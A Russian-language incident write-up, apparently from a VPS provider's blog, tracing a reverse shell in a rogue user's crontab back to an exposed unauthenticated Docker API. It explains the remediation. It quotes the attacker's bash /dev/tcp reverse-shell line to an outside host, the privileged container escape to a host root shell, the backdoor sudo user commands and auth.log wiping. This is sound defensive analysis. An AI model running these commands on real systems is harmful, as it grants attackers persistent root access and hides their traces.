Reverse shell в cron у пользователя, которого никто не заводил
В конце августа 2026 года на одном из наших продовых VPS кто-то каждые пять минут открывал исходящее соединение на порт 4444 — классический порт для reverse shell. Дежурный заметил это не по алерту безопасности, а по горбам на графике сетевого трафика в Grafana, которые не совпадали ни с одним известным процессом. Дальше было четыре часа раскопок, три отвергнутые версии и один пользователь в /etc/passwd, которого никто из команды не заводил. Разбираем инцидент по шагам — что видели, что проверили и что оказалось настоящей причиной.
Содержание
Первый звоночек: странные всплески на графике
Сервис — небольшой backend на Docker Compose плюс пара самописных cron-задач для выгрузки отчётов. Мониторинг стандартный: node_exporter, cAdvisor, Grafana с алертами на CPU, память, диск и аптайм контейнеров. Алерт по нагрузке не сработал — CPU и память были в норме. Сработал не алерт, а внимательность: дежурный инженер открыл дашборд по другому поводу и увидел на графике node_network_transmit_bytes_total регулярные пилообразные всплески — раз в пять минут, длительностью 2-3 секунды, объём небольшой, но стабильный, как метроном.
Первая реакция — посмотреть, какой процесс генерирует трафик:
ss -tnp | grep ESTAB
В выводе на секунду мелькало соединение вида:
ESTAB 0 0 10.20.0.4:51422 185.xx.xx.xx:4444 users:(("bash",pid=28831,fd=3))
Внешний IP не принадлежал ни одному из наших сервисов, ни одному провайдеру мониторинга, ни CDN — обычный VPS-хостинг где-то за рубежом. Порт 4444 — это не то, что стоит игнорировать: это порт по умолчанию у Metasploit multi/handler и у доброй половины учебных reverse-shell пейлоадов. Дальше стало не до графиков — начали копать процесс.
ps -ef | grep 28831
Процесс bash с аргументами вида -c bash -i >& /dev/tcp/185.xx.xx.xx/4444 0>&1 — классический one-liner для reverse shell через /dev/tcp, встроенный в bash без необходимости netcat на борту. Родительским процессом был cron, запущенный от пользователя svc-backup.
Пользователь, которого никто не заводил
Дальше вопрос был простой: кто такой svc-backup и когда он появился. Проверили:
id svc-backup
getent passwd svc-backup
uid=1002(svc-backup) gid=1002(svc-backup) groups=1002(svc-backup),27(sudo)
svc-backup:x:1002:1002::/home/svc-backup:/bin/bash
Имя выглядело правдоподобно — как будто кто-то из команды создал сервисный аккаунт для бэкапов. Но в списке админов такого никто не помнил, а в sudo его точно никто не добавлял осознанно. Проверили дату создания через /var/log/auth.log (точнее, через то, что от него осталось — об этом ниже) и через chage:
chage -l svc-backup
Last password change : never
Account expires : never
Пароль у аккаунта не менялся никогда — то есть его либо не задавали вообще (аутентификация только по ключу), либо задали один раз при создании. Посмотрели ~svc-backup/.ssh/authorized_keys — там лежал один ключ, не из нашего пула. И, что важнее для этого разбора, у пользователя была персональная crontab:
crontab -l -u svc-backup
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/185.xx.xx.xx/4444 0>&1' 2>/dev/null
Вот и источник всплесков на графике: каждые пять минут cron честно пытался открыть reverse shell наружу. Иногда C2-сервер атакующего был недоступен — тогда просто рвалось соединение через пару секунд, отсюда и пилообразный, а не постоянный трафик.
Нужен сервер под эту задачу?
Разверните VPS MAATRIX за пару минут: NVMe, AMD EPYC, root-доступ, локации UK, США, Франция и РФ. Оплата картой РФ и по СБП.
Арендовать серверВерсии, которые не подтвердились
Прежде чем делать выводы, проверили три очевидные гипотезы — и все три отвалились.
Версия 1: скомпрометирован SSH-ключ уволенного или бывшего подрядчика. Проверили список ключей в authorized_keys у штатных пользователей и историю доступа в панели хостинга — совпадений с ключом svc-backup не нашли, а сам аккаунт svc-backup не входил в число обычных логинов команды. Версию отклонили: это не переиспользованный легитимный доступ, а новый, созданный кем-то извне.
Версия 2: скомпрометирован CI/CD и пейлоад пришёл через деплой-скрипт. Посмотрели историю запусков пайплайна за неделю — деплоев в интересующее окно не было вообще, а деплой-пользователь в системе не имеет sudo и физически не мог создать нового системного пользователя с UID 1002 и добавить его в группу sudo. Версию отклонили.
Версия 3: фишинг на административный аккаунт хостинг-панели, создание пользователя через консоль провайдера. Панель управления VPS у нас поддерживает выполнение команд через веб-консоль, поэтому это была правдоподобная версия. Но в журнале действий панели (у провайдера логируются все команды, введённые через веб-консоль) за нужный период не было ни одной записи. Версию отклонили — доступ через панель тут ни при чём.
Отбросив все три, пришлось признать неприятный факт: у атакующего было прямое выполнение команд на сервере, минуя SSH, CI и панель управления. Значит, точка входа — что-то из того, что слушает сеть локально.
Как нашли настоящую точку входа
Дальше — методичная проверка того, что вообще слушает наружу:
ss -tlnp
Среди ожидаемых 80/443 (nginx) и 22 (sshd) обнаружился порт 2375 — TCP без TLS, стандартный порт Docker Remote API. Полгода назад его открывали временно, для интеграции Portainer с CI-раннером, который на тот момент стоял на соседней машине и подключался к докеру по сети, а не через unix-сокет. Задача была разовая, доступ должны были закрыть сразу после — но по факту правило в UFW удалили, посчитав, что закрыли доступ, а на самом деле не закрыли.
Здесь и была реальная причина, и она классическая: Docker при старте сам прописывает свои правила прямо в iptables (цепочки DOCKER, DOCKER-USER), в обход того, что настроено через ufw. Если демон Docker слушает TCP-порт и сам добавил разрешающее правило в iptables для этого порта — статус ufw deny 2375 в выводе ufw status ничего не значит, трафик до порта всё равно дойдёт, потому что iptables обрабатывает правила Docker раньше, чем UFW-цепочки. У нас в ufw status порт 2375 значился как DENY, а по факту был открыт — команда убедилась в этом на живую, curl'ом с внешней машины:
curl http://185.xx.xx.xx:2375/version
Ответ пришёл мгновенно — JSON с версией Docker Engine. Открытый Docker API без TLS и без аутентификации — это фактически root-доступ к хосту: через него можно запустить контейнер с примонтированным / хоста и делать внутри что угодно от имени root.
docker -H tcp://185.xx.xx.xx:2375 ps -a
В истории образов на сервере (кэш docker images хранит слои даже удалённых контейнеров) нашли следы недавно запускавшегося alpine-контейнера с примонтированным /:/host — ровно то, что нужно для выхода за пределы контейнера на хост.
Что атакующий сделал внутри системы
Восстановили цепочку действий по обрывочным следам — командной истории оболочки внутри временного контейнера (её частично удалили, но не полностью — .bash_history не был отключён), логам Docker-демона и меткам времени файлов:
- Просканировал интернет на открытые Docker API (это массовое, нецелевое сканирование — таких портов в сети сотни тысяч).
- Через
docker -H tcp://...:2375 run -v /:/host --privileged -it alpine chroot /host shполучил root-шелл на хосте, не тронув SSH и не оставив ни одной записи в/var/log/auth.log. - Создал системного пользователя с домашним каталогом и добавил в группу
sudo:
useradd -m -s /bin/bash svc-backup
usermod -aG sudo svc-backup
- Подложил свой SSH-ключ в
authorized_keys— про запас, на случай если cron найдут и вычистят раньше, чем закроют реальную дыру. - Добавил персональную crontab с reverse shell каждые 5 минут — по сути, дешёвый и надёжный маячок: даже если один из способов персистентности вычистят, остальные продолжат стучаться.
- Почистил часть
auth.logкомандами вида> /var/log/auth.log— но не тронул journald-бинарный журнал (journalctl), потому что не знал, что он включён и хранит копию тех же событий отдельно от текстового лога. Это и позволило частично восстановить временную метку создания пользователя черезjournalctl _COMM=useradd.
Отдельно неприятный момент: auditd на сервере не стоял вообще — а значит, полноценного журнала выполненных команд (execve) не было, и часть цепочки пришлось реконструировать по косвенным следам, а не по прямым логам. Это и есть главный вывод для организационной части.
Что изменили после инцидента
Сначала — сдерживание и зачистка, потом — устранение причины.
Немедленно:
- Убили процесс reverse shell, удалили crontab и учётную запись
svc-backup. - Закрыли порт 2375 полностью: Docker демон переключили на прослушивание только unix-сокета (
/var/run/docker.sock), убрав-H tcp://0.0.0.0:2375из конфигурации демона. - Перевыпустили все ключи и токены, до которых теоретически мог дотянуться root на этой машине: SSH-ключи деплоя, токены CI, доступ к базе.
- Подняли сервис заново из бэкапа, сделанного до появления вредоносной crontab, а не просто удалили следы — потому что нельзя быть уверенным, что нашли вообще все точки закрепления атакующего на скомпрометированном хосте.
На горизонте недели:
- Задокументировали для всей команды поведение Docker с
iptables: если демону нужен сетевой доступ, правило должно идти черезDOCKER-USERцепочку или через явный биндинг на нужный интерфейс/IP, а не черезufw deny— он для портов Docker попросту не работает так, как ожидается. - Поставили
auditdс правилами на слежение заexecve,useradd/usermod/userdel, изменениями/etc/passwd,/etc/sudoers.d/и записью в crontab-директории — теперь подобный инцидент оставляет прямой, а не косвенный след. - Добавили простой скрипт-проверку, который раз в час сравнивает список системных пользователей и всех crontab-файлов с зафиксированным эталоном и шлёт алерт при расхождении — дёшево и эффективно против именно такого сценария.
- Пересмотрели список открытых портов на всех VPS через
nmapс внешней точки, а не изнутри — потому чтоufw statusизнутри хоста в случае с Docker откровенно врёт.
Ниже — сравнение состояния «до» и «после» по ключевым точкам, которые сыграли роль в этом инциденте:
| Параметр | До инцидента | После инцидента |
|---|---|---|
| Docker API | TCP 2375 без TLS, доступен снаружи | только unix-сокет, TCP закрыт |
| Аудит команд | auditd не установлен | auditd с правилами на execve/useradd/cron |
| Контроль пользователей | вручную, по памяти | автопроверка раз в час, алерт при расхождении |
| Проверка портов | ufw status изнутри хоста | внешний скан nmap регулярно |
| Восстановление после инцидента | точечная чистка следов | полный передеплой из чистого бэкапа |
Если у вас есть Docker-хост, на котором когда-либо временно открывали TCP API для интеграции — стоит сегодня же проверить ss -tlnp и nmap снаружи, а не доверять выводу ufw status. Это самая частая причина, по которой «закрытый» порт на деле открыт.
Похожие темы, которые стоит прочитать вместе с этим разбором: наш общий подход к тому, как писать разбор инцидента, базовый чек-лист что делать при взломе, отдельная статья про то, как Docker переписывает iptables и открывает базу в интернет — тот же механизм, другая служба, и подробный разбор настройки auditd на сервере, который мы в итоге и внедрили.
Нужен сервер под эту задачу?
Разверните VPS MAATRIX за пару минут: NVMe, AMD EPYC, root-доступ, локации UK, США, Франция и РФ. Оплата картой РФ и по СБП.
Арендовать серверНужны сами нейросети для контента?
Генерируйте изображения, видео и озвучку нейросетями на falapi.io — десятки моделей в одном окне. Оплата картой РФ и по СБП.
Частые вопросы
Почему ufw status показывал порт закрытым, если на деле он был открыт?
Docker при старте демона сам добавляет правила в iptables для проброшенных портов и своего API, и эти правила обрабатываются раньше, чем цепочки UFW. UFW управляет своими собственными цепочками iptables, но не может перекрыть то, что Docker прописал напрямую — снаружи порт остаётся доступен, даже если ufw status пишет DENY.
Как быстро отличить легитимный сервисный аккаунт от подложенного атакующим?
Смотрите вместе три признака: дату и способ создания (через journalctl _COMM=useradd, если auditd/journald включены), наличие персональной crontab и содержимое authorized_keys — комбинация «новый пользователь + свежая crontab + чужой SSH-ключ» почти всегда означает компрометацию, а не забытый сервисный аккаунт.
Обязательно ли переустанавливать сервер после такого инцидента, или достаточно удалить найденные точки закрепления?
Лучше пересобрать сервис из чистого бэкапа или снапшота, сделанного до компрометации. Если у атакующего был root-доступ хотя бы несколько минут, нельзя быть уверенным, что нашли вообще все механизмы персистентности — от дополнительных cron-записей до изменённых бинарников или systemd-юнитов.
Как защититься от той же схемы на будущее, если Docker API вообще не нужен по сети?
Не открывайте TCP-порт демона вообще — используйте unix-сокет и, при необходимости удалённого управления, SSH-туннель или клиентские TLS-сертификаты (--tlsverify), а не голый TCP. Если порт открывали временно для интеграции — закрывайте его физически (убирайте флаг -H tcp:// из конфигурации демона), а не только правилом фаервола, которое Docker всё равно обойдёт.
Что делать, если auditd раньше не стоял и разобрать инцидент по логам не получается?
Собирайте то, что осталось: journalctl (бинарный журнал часто переживает чистку текстовых логов), временные метки файлов и каталогов, историю docker images/docker ps -a (следы контейнеров остаются в слоях), содержимое .bash_history, если его не удалили. После разбора — сразу ставьте auditd, чтобы в следующий раз такой реконструкции не потребовалось.
Обсудить статью, задать вопрос или начать новую тему
Есть вопрос по этой статье, идея для обсуждения или просто хотите поделиться опытом? Сообщество MAATRIX ждёт. Для общения, пожалуйста, зарегистрируйтесь в нашем личном кабинете.
Перейти в сообщество →